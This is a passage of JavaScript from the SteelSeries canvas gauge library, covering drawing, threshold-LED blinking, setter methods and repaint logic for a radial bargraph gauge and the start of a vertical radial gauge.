ctx.translate(centerX, centerY); ctx.rotate((angle * RAD_FACTOR) + bargraphOffset); ctx.translate(-centerX, -centerY); ctx.beginPath(); ctx.rect(imageWidth * 0.116822, imageWidth * 0.485981, imageWidth * 0.060747, imageWidth * 0.023364); ctx.closePath(); ctx.fillStyle = ledOffGradient; ctx.fill(); ctx.restore(); } ctx.restore(); }; var drawActiveLed = function (ctx, color) { ctx.save(); ctx.beginPath(); ctx.rect(0, 0, ctx.canvas.width, ctx.canvas.height); ctx.closePath(); var ledCenterX = (ctx.canvas.width / 2); var ledCenterY = (ctx.canvas.height / 2); var ledGradient = mainCtx.createRadialGradient(ledCenterX, ledCenterY, 0, ledCenterX, ledCenterY, ctx.canvas.width / 2); ledGradient.addColorStop(0, color.light.getRgbaColor()); ledGradient.addColorStop(1, color.dark.getRgbaColor()); ctx.fillStyle = ledGradient; ctx.fill(); ctx.restore(); }; var drawLcdText = function (ctx, value) { ctx.save(); ctx.textAlign = 'right'; ctx.strokeStyle = lcdColor.textColor; ctx.fillStyle = lcdColor.textColor; if (lcdColor === steelseries.LcdColor.STANDARD || lcdColor === steelseries.LcdColor.STANDARD_GREEN) { ctx.shadowColor = 'gray'; ctx.shadowOffsetX = imageWidth * 0.007; ctx.shadowOffsetY = imageWidth * 0.007; ctx.shadowBlur = imageWidth * 0.007; } if (digitalFont) { ctx.font = lcdFont; } else { ctx.font = stdFont; } ctx.fillText(value.toFixed(lcdDecimals), lcdPosX + lcdWidth - lcdWidth * 0.05, lcdPosY + lcdHeight * 0.5 + lcdFontHeight * 0.38, lcdWidth * 0.9); ctx.restore(); }; var drawTickmarksImage = function (ctx, labelNumberFormat) { var alpha = rotationOffset, // Tracks total rotation rotationStep = angleStep * minorTickSpacing, textRotationAngle, fontSize = Math.ceil(imageWidth * 0.04), valueCounter = minValue, majorTickCounter = maxNoOfMinorTicks - 1, TEXT_TRANSLATE_X = imageWidth * 0.28, TEXT_WIDTH = imageWidth * 0.1, MAX_VALUE_ROUNDED = parseFloat(maxValue.toFixed(2)), i; backgroundColor.labelColor.setAlpha(1); ctx.save(); ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; ctx.font = fontSize + 'px ' + stdFontName; ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); ctx.translate(centerX, centerY); ctx.rotate(rotationOffset); if (gaugeType.type === 'type1' || gaugeType.type === 'type2') { TEXT_WIDTH = imageWidth * 0.0375; } for (i = minValue; parseFloat(i.toFixed(2)) <= MAX_VALUE_ROUNDED; i += minorTickSpacing) { textRotationAngle = + rotationStep + HALF_PI; majorTickCounter++; // Draw major tickmarks if (majorTickCounter === maxNoOfMinorTicks) { ctx.save(); ctx.translate(TEXT_TRANSLATE_X, 0); switch (tickLabelOrientation.type) { case 'horizontal': textRotationAngle = -alpha; break; case 'tangent': textRotationAngle = (alpha <= HALF_PI + PI ? PI : 0); break; case 'normal': /* falls through */ default: textRotationAngle = HALF_PI; break; } ctx.rotate(textRotationAngle); switch (labelNumberFormat.format) { case 'fractional': ctx.fillText((valueCounter.toFixed(fractionalScaleDecimals)), 0, 0, TEXT_WIDTH); break; case 'scientific': ctx.fillText((valueCounter.toPrecision(2)), 0, 0, TEXT_WIDTH); break; case 'standard': /* falls through */ default: ctx.fillText((valueCounter.toFixed(0)), 0, 0, TEXT_WIDTH); break; } ctx.translate(-TEXT_TRANSLATE_X, 0); ctx.restore(); valueCounter += majorTickSpacing; majorTickCounter = 0; ctx.rotate(rotationStep); alpha += rotationStep; continue; } ctx.rotate(rotationStep); alpha += rotationStep; } ctx.translate(-centerX, -centerY); ctx.restore(); }; var blink = function (blinking) { if (blinking) { ledTimerId = setInterval(toggleAndRepaintLed, 1000); } else { clearInterval(ledTimerId); ledBuffer = ledBufferOff; } }; var blinkUser = function (blinking) { if (blinking) { userLedTimerId = setInterval(toggleAndRepaintUserLed, 1000); } else { clearInterval(userLedTimerId); userLedBuffer = userLedBufferOff; } }; var toggleAndRepaintLed = function () { if (ledVisible) { if (ledBuffer === ledBufferOn) { ledBuffer = ledBufferOff; } else { ledBuffer = ledBufferOn; } if (!repainting) { repainting = true; requestAnimFrame(self.repaint); } } }; var toggleAndRepaintUserLed = function () { if (userLedVisible) { if (userLedBuffer === userLedBufferOn) { userLedBuffer = userLedBufferOff; } else { userLedBuffer = userLedBufferOn; } if (!repainting) { repainting = true; requestAnimFrame(self.repaint); } } }; //********************************* Public methods ********************************* this.setValue = function (newValue) { newValue = parseFloat(newValue); var targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)); if (value !== targetValue) { value = targetValue; if ((value >= threshold && !ledBlinking && thresholdRising) || (value <= threshold && !ledBlinking && !thresholdRising)) { ledBlinking = true; blink(ledBlinking); if (playAlarm) { audioElement.play(); } } else if ((value < threshold && ledBlinking && thresholdRising) || (value > threshold && ledBlinking && !thresholdRising)) { ledBlinking = false; blink(ledBlinking); if (playAlarm) { audioElement.pause(); } } this.repaint(); } return this; }; this.getValue = function () { return value; }; this.setValueAnimated = function (newValue, callback) { newValue = parseFloat(newValue); var targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)), gauge = this, time; if (value !== targetValue) { if (undefined !== tween && tween.isPlaying) { tween.stop(); } time = fullScaleDeflectionTime * Math.abs(targetValue - value) / (maxValue - minValue); time = Math.max(time, fullScaleDeflectionTime / 5); tween = new Tween({}, '', Tween.regularEaseInOut, value, targetValue, time); //tween = new Tween({}, '', Tween.regularEaseInOut, value, targetValue, 1); //tween = new Tween(new Object(), '', Tween.strongEaseInOut, this.value, targetValue, 1); tween.onMotionChanged = function (event) { value = event.target._pos; if ((value >= threshold && !ledBlinking && thresholdRising) || (value <= threshold && !ledBlinking && !thresholdRising)) { ledBlinking = true; blink(ledBlinking); if (playAlarm) { audioElement.play(); } } else if ((value < threshold && ledBlinking && thresholdRising) || (value > threshold && ledBlinking && !thresholdRising)) { ledBlinking = false; blink(ledBlinking); if (playAlarm) { audioElement.pause(); } } if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; // do we have a callback function to process? if (callback && typeof(callback) === "function") { tween.onMotionFinished = callback; } tween.start(); } return this; }; this.setFrameDesign = function (newFrameDesign) { resetBuffers({frame: true}); frameDesign = newFrameDesign; init({frame: true}); this.repaint(); return this; }; this.setBackgroundColor = function (newBackgroundColor) { resetBuffers({background: true, led: true}); backgroundColor = newBackgroundColor; init({background: true, led: true}); this.repaint(); return this; }; this.setForegroundType = function (newForegroundType) { resetBuffers({foreground: true}); foregroundType = newForegroundType; init({foreground: true}); this.repaint(); return this; }; this.setValueColor = function (newValueColor) { resetBuffers({value: true}); valueColor = newValueColor; init({value: true}); this.repaint(); return this; }; this.setLedColor = function (newLedColor) { resetBuffers({led: true}); ledColor = newLedColor; init({led: true}); this.repaint(); return this; }; this.setUserLedColor = function (newLedColor) { resetBuffers({userLed: true}); userLedColor = newLedColor; init({userLed: true}); this.repaint(); return this; }; this.toggleUserLed = function () { if (userLedBuffer === userLedBufferOn) { userLedBuffer = userLedBufferOff; } else { userLedBuffer = userLedBufferOn; } this.repaint(); return this; }; this.setUserLedOnOff = function (on) { if (true === on) { userLedBuffer = userLedBufferOn; } else { userLedBuffer = userLedBufferOff; } this.repaint(); return this; }; this.blinkUserLed = function (blink) { if (blink) { if (!userLedBlinking) { blinkUser(true); userLedBlinking = true; } } else { if (userLedBlinking) { clearInterval(userLedTimerId); userLedBlinking = false; } } return this; }; this.setLedVisible = function (visible) { ledVisible = !!visible; this.repaint(); return this; }; this.setUserLedVisible = function (visible) { userLedVisible = !!visible; this.repaint(); return this; }; this.setLcdColor = function (newLcdColor) { lcdColor = newLcdColor; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setLcdDecimals = function (decimals) { lcdDecimals = parseInt(decimals, 10); this.repaint(); return this; }; this.setSection = function (areaSec) { section = areaSec; init(); this.repaint(); return this; }; this.setSectionActive = function (value) { useSectionColors = value; init(); this.repaint(); return this; }; this.setGradient = function (grad) { valueGradient = grad; init(); this.repaint(); return this; }; this.setGradientActive = function (value) { useValueGradient = value; init(); this.repaint(); return this; }; this.setMinValue = function (value) { minValue = value; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.getMinValue = function () { return minValue; }; this.setMaxValue = function (value) { maxValue = value; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.getMaxValue = function () { return maxValue; }; this.setThreshold = function (newValue) { newValue = parseFloat(newValue); var targetValue = newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue); threshold = targetValue; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setThresholdRising = function (rising) { thresholdRising = !!rising; // reset existing threshold alerts ledBlinking = !ledBlinking; blink(ledBlinking); this.repaint(); return this; }; this.setTitleString = function (title) { titleString = title; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setUnitString = function (unit) { unitString = unit; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setTrend = function (newValue) { trendIndicator = newValue; this.repaint(); return this; }; this.setTrendVisible = function (visible) { trendVisible = !!visible; this.repaint(); return this; }; this.setFractionalScaleDecimals = function (decimals) { fractionalScaleDecimals = parseInt(decimals, 10); resetBuffers({background: true}); init({background: true}); this.repaint(); }; this.setLabelNumberFormat = function (format) { labelNumberFormat = format; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.repaint = function () { var activeLedAngle = ((value - minValue) / (maxValue - minValue)) * degAngleRange, activeLedColor, lastActiveLedColor = valueColor, angle, i, currentValue, gradRange, fraction; if (!initialized) { init({frame: true, background: true, led: true, userLed: true, value: true, trend: true, foreground: true}); } mainCtx.clearRect(0, 0, size, size); // Draw frame image if (frameVisible) { mainCtx.drawImage(frameBuffer, 0, 0); } // Draw buffered image to visible canvas mainCtx.drawImage(backgroundBuffer, 0, 0); // Draw active leds for (angle = 0; angle <= activeLedAngle; angle += 5) { //check for LED color activeLedColor = valueColor; // Use a gradient for value colors? if (isGradientVisible) { // Convert angle back to value currentValue = minValue + (angle / degAngleRange) * (maxValue - minValue); gradRange = valueGradient.getEnd() - valueGradient.getStart(); fraction = (currentValue - minValue) / gradRange; fraction = Math.max(Math.min(fraction, 1), 0); activeLedColor = customColorDef(valueGradient.getColorAt(fraction).getRgbaColor()); } else if (isSectionsVisible) { for (i = 0; i < sectionAngles.length; i++) { if (angle >= sectionAngles[i].start && angle < sectionAngles[i].stop) { activeLedColor = sectionAngles[i].color; break; } } } // Has LED color changed? If so redraw the buffer if (lastActiveLedColor.medium.getHexColor() !== activeLedColor.medium.getHexColor()) { drawActiveLed(activeLedContext, activeLedColor); lastActiveLedColor = activeLedColor; } mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate((angle * RAD_FACTOR) + bargraphOffset); mainCtx.translate(-centerX, -centerY); mainCtx.drawImage(activeLedBuffer, ACTIVE_LED_POS_X, ACTIVE_LED_POS_Y); mainCtx.restore(); } // Draw lcd display if (lcdVisible) { drawLcdText(mainCtx, value); } // Draw led if (ledVisible) { mainCtx.drawImage(ledBuffer, LED_POS_X, LED_POS_Y); } // Draw user led if (userLedVisible) { mainCtx.drawImage(userLedBuffer, USER_LED_POS_X, USER_LED_POS_Y); } // Draw the trend indicator if (trendVisible) { switch (trendIndicator.state) { case 'up': mainCtx.drawImage(trendUpBuffer, trendPosX, trendPosY); break; case 'steady': mainCtx.drawImage(trendSteadyBuffer, trendPosX, trendPosY); break; case 'down': mainCtx.drawImage(trendDownBuffer, trendPosX, trendPosY); break; case 'off': mainCtx.drawImage(trendOffBuffer, trendPosX, trendPosY); break; } } // Draw foreground if (foregroundVisible) { mainCtx.drawImage(foregroundBuffer, 0, 0); } repainting = false; }; // Visualize the component this.repaint(); return this; }; var radialVertical = function (canvas, parameters) { parameters = parameters || {}; var orientation = (undefined === parameters.orientation ? steelseries.Orientation.NORTH : parameters.orientation), size = (undefined === parameters.size ? 0 : parameters.size), minValue = (undefined === parameters.minValue ? 0 : parameters.minValue), maxValue = (undefined === parameters.maxValue ? (minValue + 100) : parameters.maxValue), niceScale = (undefined === parameters.niceScale ? true : parameters.niceScale), threshold = (undefined === parameters.threshold ? (maxValue - minValue) / 2 + minValue: parameters.threshold), section = (undefined === parameters.section ? null : parameters.section), area = (undefined === parameters.area ? null : parameters.area), titleString = (undefined === parameters.titleString ? '' : parameters.titleString), unitString = (undefined === parameters.unitString ? '' : parameters.unitString), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), backgroundColor = (undefined === parameters.backgroundColor ? steelseries.BackgroundColor.DARK_GRAY : parameters.backgroundColor), backgroundVisible = (undefined === parameters.backgroundVisible ? true : parameters.backgroundVisible), pointerType = (undefined === parameters.pointerType ? steelseries.PointerType.TYPE1 : parameters.pointerType), pointerColor = (undefined === parameters.pointerColor ? steelseries.ColorDef.RED : parameters.pointerColor), knobType = (undefined === parameters.knobType ? steelseries.KnobType.STANDARD_KNOB : parameters.knobType), knobStyle = (undefined === parameters.knobStyle ? steelseries.KnobStyle.SILVER : parameters.knobStyle), ledColor = (undefined === parameters.ledColor ? steelseries.LedColor.RED_LED : parameters.ledColor), ledVisible = (undefined === parameters.ledVisible ? true : parameters.ledVisible), thresholdVisible = (undefined === parameters.thresholdVisible ? true : parameters.thresholdVisible), thresholdRising = (undefined === parameters.thresholdRising ? true : parameters.thresholdRising), minMeasuredValueVisible = (undefined === parameters.minMeasuredValueVisible ? false : parameters.minMeasuredValueVisible), maxMeasuredValueVisible = (undefined === parameters.maxMeasuredValueVisible ? false : parameters.maxMeasuredValueVisible), foregroundType = (undefined === parameters.foregroundType ? steelseries.ForegroundType.TYPE1 : parameters.foregroundType), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), labelNumberFormat = (undefined === parameters.labelNumberFormat ? steelseries.LabelNumberFormat.STANDARD : parameters.labelNumberFormat), playAlarm = (undefined === parameters.playAlarm ? false : parameters.playAlarm), alarmSound = (undefined === parameters.alarmSound ? false : parameters.alarmSound), fullScaleDeflectionTime = (undefined === parameters.fullScaleDeflectionTime ? 2.5 : parameters.fullScaleDeflectionTime); // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (size === 0) { size = Math.min(mainCtx.canvas.width, mainCtx.canvas.height); } // Set the size - also clears the canvas mainCtx.canvas.width = size; mainCtx.canvas.height = size; // Create audio tag for alarm sound if (playAlarm && alarmSound !== false) { var audioElement = doc.createElement('audio'); audioElement.setAttribute('src', alarmSound); audioElement.setAttribute('preload', 'auto'); } var gaugeType = steelseries.GaugeType.TYPE5; var self = this; var value = minValue; // Properties var minMeasuredValue = maxValue; var maxMeasuredValue = minValue; var imageWidth = size; var imageHeight = size; var ledBlinking = false; var ledTimerId = 0; var tween; var repainting = false; // Tickmark specific private variables var niceMinValue = minValue; var niceMaxValue = maxValue; var niceRange = maxValue - minValue; var range = niceMaxValue - niceMinValue; var minorTickSpacing = 0; var majorTickSpacing = 0; var maxNoOfMinorTicks = 10; var maxNoOfMajorTicks = 10; var freeAreaAngle = 0; var rotationOffset = 1.25 * PI; var tickmarkOffset = 1.25 * PI; var angleRange = HALF_PI; var angleStep = angleRange / range; var shadowOffset = imageWidth * 0.006; var pointerOffset = imageWidth * 1.17 / 2; var initialized = false; var angle = rotationOffset + (value - minValue) * angleStep; var centerX = imageWidth / 2; var centerY = imageHeight * 0.733644; // Misc var ledPosX = 0.455 * imageWidth; var ledPosY = 0.51 * imageHeight; // Method to calculate nice values for min, max and range for the tickmarks var calculate = function calculate() { if (niceScale) { niceRange = calcNiceNumber(maxValue - minValue, false); majorTickSpacing = calcNiceNumber(niceRange / (maxNoOfMajorTicks - 1), true); niceMinValue = Math.floor(minValue / majorTickSpacing) * majorTickSpacing; niceMaxValue = Math.ceil(maxValue / majorTickSpacing) * majorTickSpacing; minorTickSpacing = calcNiceNumber(majorTickSpacing / (maxNoOfMinorTicks - 1), true); minValue = niceMinValue; maxValue = niceMaxValue; range = maxValue - minValue; } else { niceRange = (maxValue - minValue); niceMinValue = minValue; niceMaxValue = maxValue; range = niceRange; minorTickSpacing = 1; majorTickSpacing = 10; } freeAreaAngle = 0; rotationOffset = 1.25 * PI; tickmarkOffset = 1.25 * PI; angleRange = HALF_PI; angleStep = angleRange / range; angle = rotationOffset + (value - minValue) * angleStep; }; // ************** Buffer creation ******************** // Buffer for the frame var frameBuffer = createBuffer(size, size); var frameContext = frameBuffer.getContext('2d'); // Buffer for the background var backgroundBuffer = createBuffer(size, size); var backgroundContext = backgroundBuffer.getContext('2d'); // Buffer for led on painting code var ledBufferOn = createBuffer(size * 0.093457, size * 0.093457); var ledContextOn = ledBufferOn.getContext('2d'); // Buffer for led off painting code var ledBufferOff = createBuffer(size * 0.093457, size * 0.093457); var ledContextOff = ledBufferOff.getContext('2d'); // Buffer for current led painting code var ledBuffer = ledBufferOff; // Buffer for the minMeasuredValue indicator var minMeasuredValueBuffer = createBuffer(Math.ceil(size * 0.028037), Math.ceil(size * 0.028037)); var minMeasuredValueCtx = minMeasuredValueBuffer.getContext('2d'); // Buffer for the maxMeasuredValue indicator var maxMeasuredValueBuffer = createBuffer(Math.ceil(size * 0.028037), Math.ceil(size * 0.028037)); var maxMeasuredValueCtx = maxMeasuredValueBuffer.getContext('2d'); // Buffer for pointer image painting code var pointerBuffer = createBuffer(size, size); var pointerContext = pointerBuffer.getContext('2d'); // Buffer for static foreground painting code var foregroundBuffer = createBuffer(size, size); var foregroundContext = foregroundBuffer.getContext('2d'); // ************** Image creation ******************** var drawPostsImage = function (ctx) { if ('type5' === gaugeType.type) { ctx.save(); if (orientation.type === 'west') { // Min post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.44, imageHeight * 0.80); // Max post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.44, imageHeight * 0.16); } else if (orientation.type === 'east') { // Min post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.52, imageHeight * 0.80); // Max post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.52, imageHeight * 0.16); } else { // Min post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.2 - imageHeight * 0.037383, imageHeight * 0.446666); // Max post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.8, imageHeight * 0.446666); } ctx.restore(); } }; var createThresholdImage = function () { var thresholdBuffer = doc.createElement('canvas'); thresholdBuffer.width = Math.ceil(size * 0.046728); thresholdBuffer.height = Math.ceil(thresholdBuffer.width * 0.9); var thresholdCtx = thresholdBuffer.getContext('2d'); thresholdCtx.save(); var gradThreshold = thresholdCtx.createLinearGradient(0, 0.1, 0, thresholdBuffer.height * 0.9); gradThreshold.addColorStop(0, '#520000'); gradThreshold.addColorStop(0.3, '#fc1d00'); gradThreshold.addColorStop(0.59, '#fc1d00'); gradThreshold.addColorStop(1, '#520000'); thresholdCtx.fillStyle = gradThreshold; thresholdCtx.beginPath(); thresholdCtx.moveTo(thresholdBuffer.width * 0.5, 0.1); thresholdCtx.lineTo(thresholdBuffer.width * 0.9, thresholdBuffer.height * 0.9); thresholdCtx.lineTo(thresholdBuffer.width * 0.1, thresholdBuffer.height * 0.9); thresholdCtx.lineTo(thresholdBuffer.width * 0.5, 0.1); thresholdCtx.closePath(); thresholdCtx.fill(); thresholdCtx.strokeStyle = '#FFFFFF'; thresholdCtx.stroke(); thresholdCtx.restore(); return thresholdBuffer; }; var drawAreaSectionImage = function (ctx, start, stop, color, filled) { ctx.save(); ctx.strokeStyle = color; ctx.fillStyle = color; ctx.lineWidth = imageWidth * 0.035; var startAngle = (angleRange / range * start - angleRange / range * minValue); var stopAngle = startAngle + (stop - start) / (range / angleRange); ctx.translate(centerX, centerY); ctx.rotate(rotationOffset); ctx.beginPath(); if (filled) { ctx.moveTo(0, 0); ctx.arc(0, 0, imageWidth * 0.365 - ctx.lineWidth / 2, startAngle, stopAngle, false); } else { ctx.arc(0, 0, imageWidth * 0.365, startAngle, stopAngle, false); } if (filled) { ctx.moveTo(0, 0); ctx.fill(); } else { ctx.stroke(); } ctx.translate(-centerX, -centerY); ctx.restore(); }; var drawTitleImage = function (ctx) { var titleWidth, unitWidth; ctx.save(); ctx.textAlign = 'left'; ctx.textBaseline = 'middle'; ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); ctx.font = 0.046728 * imageWidth + 'px ' + stdFontName; titleWidth = ctx.measureText(titleString).width; ctx.fillText(titleString, (imageWidth - titleWidth) / 2, imageHeight * 0.4, imageWidth * 0.3); unitWidth = ctx.measureText(unitString).width; ctx.fillText(unitString, (imageWidth - unitWidth) / 2, imageHeight * 0.47, imageWidth * 0.2); ctx.restore(); }; var drawTickmarksImage = function (ctx, labelNumberFormat) { backgroundColor.labelColor.setAlpha(1); ctx.save(); if (steelseries.Orientation.WEST === orientation) { ctx.translate(centerX, centerX); ctx.rotate(-HALF_PI); ctx.translate(-centerX, -centerX); } if (steelseries.Orientation.EAST === orientation) { ctx.translate(centerX, centerX); ctx.rotate(HALF_PI); ctx.translate(-centerX, -centerX); } ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; var fontSize = Math.ceil(imageWidth * 0.04); ctx.font = fontSize + 'px ' + stdFontName; ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); ctx.translate(centerX, centerY); ctx.rotate(rotationOffset); var rotationStep = angleStep * minorTickSpacing; var textRotationAngle; var valueCounter = minValue; var majorTickCounter = maxNoOfMinorTicks - 1; var OUTER_POINT = imageWidth * 0.44; var MAJOR_INNER_POINT = imageWidth * 0.41; var MED_INNER_POINT = imageWidth * 0.415; var MINOR_INNER_POINT = imageWidth * 0.42; var TEXT_TRANSLATE_X = imageWidth * 0.48; var TEXT_WIDTH = imageWidth * 0.04; var HALF_MAX_NO_OF_MINOR_TICKS = maxNoOfMinorTicks / 2; var MAX_VALUE_ROUNDED = parseFloat(maxValue.toFixed(2)); var i; for (i = minValue; parseFloat(i.toFixed(2)) <= MAX_VALUE_ROUNDED; i += minorTickSpacing) { textRotationAngle = + rotationStep + HALF_PI; majorTickCounter++; // Draw major tickmarks if (majorTickCounter === maxNoOfMinorTicks) { ctx.lineWidth = 1.5; ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(MAJOR_INNER_POINT, 0); ctx.closePath(); ctx.stroke(); ctx.save(); ctx.translate(TEXT_TRANSLATE_X, 0); ctx.rotate(textRotationAngle); switch (labelNumberFormat.format) { case 'fractional': ctx.fillText((valueCounter.toFixed(2)), 0, 0, TEXT_WIDTH); break; case 'scientific': ctx.fillText((valueCounter.toPrecision(2)), 0, 0, TEXT_WIDTH); break; case 'standard': /* falls through */ default: ctx.fillText((valueCounter.toFixed(0)), 0, 0, TEXT_WIDTH); break; } ctx.translate(-TEXT_TRANSLATE_X, 0); ctx.restore(); valueCounter += majorTickSpacing; majorTickCounter = 0; ctx.rotate(rotationStep); continue; } // Draw tickmark every minor tickmark spacing if (0 === maxNoOfMinorTicks % 2 && majorTickCounter === (HALF_MAX_NO_OF_MINOR_TICKS)) { ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(MED_INNER_POINT, 0); ctx.closePath(); ctx.stroke(); } else { ctx.lineWidth = 0.5; ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(MINOR_INNER_POINT, 0); ctx.closePath(); ctx.stroke(); } ctx.rotate(rotationStep); } /* // Logarithmic scale var tmp = 0.1; var minValueLog10 = 0.1; var maxValueLog10 = parseInt(Math.pow(10, Math.ceil(Math.log10(maxValue)))); var drawLabel = true; angleStep = angleRange / (maxValueLog10 - minValueLog10) for (var scaleFactor = minValueLog10 ; scaleFactor <= maxValueLog10 ; scaleFactor *= 10) { for (var i = parseFloat((1 * scaleFactor).toFixed(1)) ; i < parseFloat((10 * scaleFactor).toFixed(1)) ; i += scaleFactor) { textRotationAngle =+ rotationStep + HALF_PI; if(drawLabel) { ctx.lineWidth = 1.5; ctx.beginPath(); ctx.moveTo(imageWidth * 0.38,0); ctx.lineTo(imageWidth * 0.35,0); ctx.closePath(); ctx.stroke(); ctx.save(); ctx.translate(imageWidth * 0.31, 0); ctx.rotate(textRotationAngle); ctx.fillText(parseFloat((i).toFixed(1)), 0, 0, imageWidth * 0.0375); ctx.translate(-imageWidth * 0.31, 0); ctx.restore(); drawLabel = false; } else { ctx.lineWidth = 0.5; ctx.beginPath(); ctx.moveTo(imageWidth * 0.38,0); ctx.lineTo(imageWidth * 0.36,0); ctx.closePath(); ctx.stroke(); } //doc.write('log10 scale value: ' + parseFloat((i).toFixed(1)) + '<br>'); //Math.log10(parseFloat((i).toFixed(1))); ctx.rotate(rotationStep); } tmp = 0.1; drawLabel = true; } */ ctx.translate(-centerX, -centerY); ctx.restore(); }; // ************** Initialization ******************** // Draw all static painting code to background var init = function (parameters) { parameters = parameters || {}; var drawFrame = (undefined === parameters.frame ? false : parameters.frame); var drawBackground = (undefined === parameters.background ? false : parameters.background); var drawLed = (undefined === parameters.led ? false : parameters.led); var drawPointer = (undefined === parameters.pointer ? false : parameters.pointer); var drawForeground = (undefined === parameters.foreground ? false : parameters.foreground); initialized = true; // Calculate the current min and max values and the range calculate(); // Create frame in frame buffer (backgroundBuffer) if (drawFrame && frameVisible) { drawRadialFrameImage(frameContext, frameDesign, centerX, size / 2, imageWidth, imageHeight); } // Create background in background buffer (backgroundBuffer) if (drawBackground && backgroundVisible) { drawRadialBackgroundImage(backgroundContext, backgroundColor, centerX, size / 2, imageWidth, imageHeight); } // Draw LED ON in ledBuffer_ON if (drawLed) { ledContextOn.drawImage(createLedImage(Math.ceil(size * 0.093457), 1, ledColor), 0, 0); // Draw LED ON in ledBuffer_OFF ledContextOff.drawImage(createLedImage(Math.ceil(size * 0.093457), 0, ledColor), 0, 0); } // Draw min measured value indicator in minMeasuredValueBuffer if (minMeasuredValueVisible) { minMeasuredValueCtx.drawImage(createMeasuredValueImage(Math.ceil(size * 0.028037), steelseries.ColorDef.BLUE.dark.getRgbaColor(), true, true), 0, 0); minMeasuredValueCtx.restore(); } // Draw max measured value indicator in maxMeasuredValueBuffer if (maxMeasuredValueVisible) { maxMeasuredValueCtx.drawImage(createMeasuredValueImage(Math.ceil(size * 0.028037), steelseries.ColorDef.RED.medium.getRgbaColor(), true), 0, 0); maxMeasuredValueCtx.restore(); } // Create alignment posts in background buffer (backgroundBuffer) if (drawBackground && backgroundVisible) { drawPostsImage(backgroundContext); // Create section in background buffer (backgroundBuffer) if (null !== section && 0 < section.length) { backgroundContext.save(); if (steelseries.Orientation.WEST === orientation) { backgroundContext.translate(centerX, centerX); backgroundContext.rotate(-HALF_PI); backgroundContext.translate(-centerX, -centerX); } else if (steelseries.Orientation.EAST === orientation) { backgroundContext.translate(centerX, centerX); backgroundContext.rotate(HALF_PI); backgroundContext.translate(-centerX, -centerX); } var sectionIndex = section.length; do { sectionIndex--; drawAreaSectionImage(backgroundContext, section[sectionIndex].start, section[sectionIndex].stop, section[sectionIndex].color, false); } while (0 < sectionIndex); backgroundContext.restore(); } // Create area in background buffer (backgroundBuffer) if (null !== area && 0 < area.length) { if (steelseries.Orientation.WEST === orientation) { backgroundContext.translate(centerX, centerX); backgroundContext.rotate(-HALF_PI); backgroundContext.translate(-centerX, -centerX); } if (steelseries.Orientation.EAST === orientation) { backgroundContext.translate(centerX, centerX); backgroundContext.rotate(HALF_PI); backgroundContext.translate(-centerX, -centerX); } var areaIndex = area.length; do { areaIndex--; drawAreaSectionImage(backgroundContext, area[areaIndex].start, area[areaIndex].stop, area[areaIndex].color, true); } while (0 < areaIndex); backgroundContext.restore(); } // Create tickmarks in background buffer (backgroundBuffer) drawTickmarksImage(backgroundContext, labelNumberFormat); // Create title in background buffer (backgroundBuffer) drawTitleImage(backgroundContext); } // Draw threshold image to background context if (thresholdVisible) { backgroundContext.save(); if (steelseries.Orientation.WEST === orientation) { backgroundContext.translate(centerX, centerX); backgroundContext.rotate(-HALF_PI); backgroundContext.translate(-centerX, -centerX); } if (steelseries.Orientation.EAST === orientation) { backgroundContext.translate(centerX, centerX); backgroundContext.rotate(HALF_PI); backgroundContext.translate(-centerX, -centerX); } backgroundContext.translate(centerX, centerY); backgroundContext.rotate(rotationOffset + (threshold - minValue) * angleStep + HALF_PI); backgroundContext.translate(-centerX, -centerY); backgroundContext.drawImage(createThresholdImage(), imageWidth * 0.475, imageHeight * 0.32); backgroundContext.restore(); } // Create pointer image in pointer buffer (contentBuffer) if (drawPointer) { drawPointerImage(pointerContext, imageWidth * 1.17, pointerType, pointerColor, backgroundColor.labelColor); } // Create foreground in foreground buffer (foregroundBuffer) if (drawForeground && foregroundVisible) { var knobVisible = (pointerType.type === 'type15' || pointerType.type === 'type16' ? false : true); drawRadialForegroundImage(foregroundContext, foregroundType, imageWidth, imageHeight, knobVisible, knobType, knobStyle, gaugeType, orientation); } }; var resetBuffers = function (buffers) { 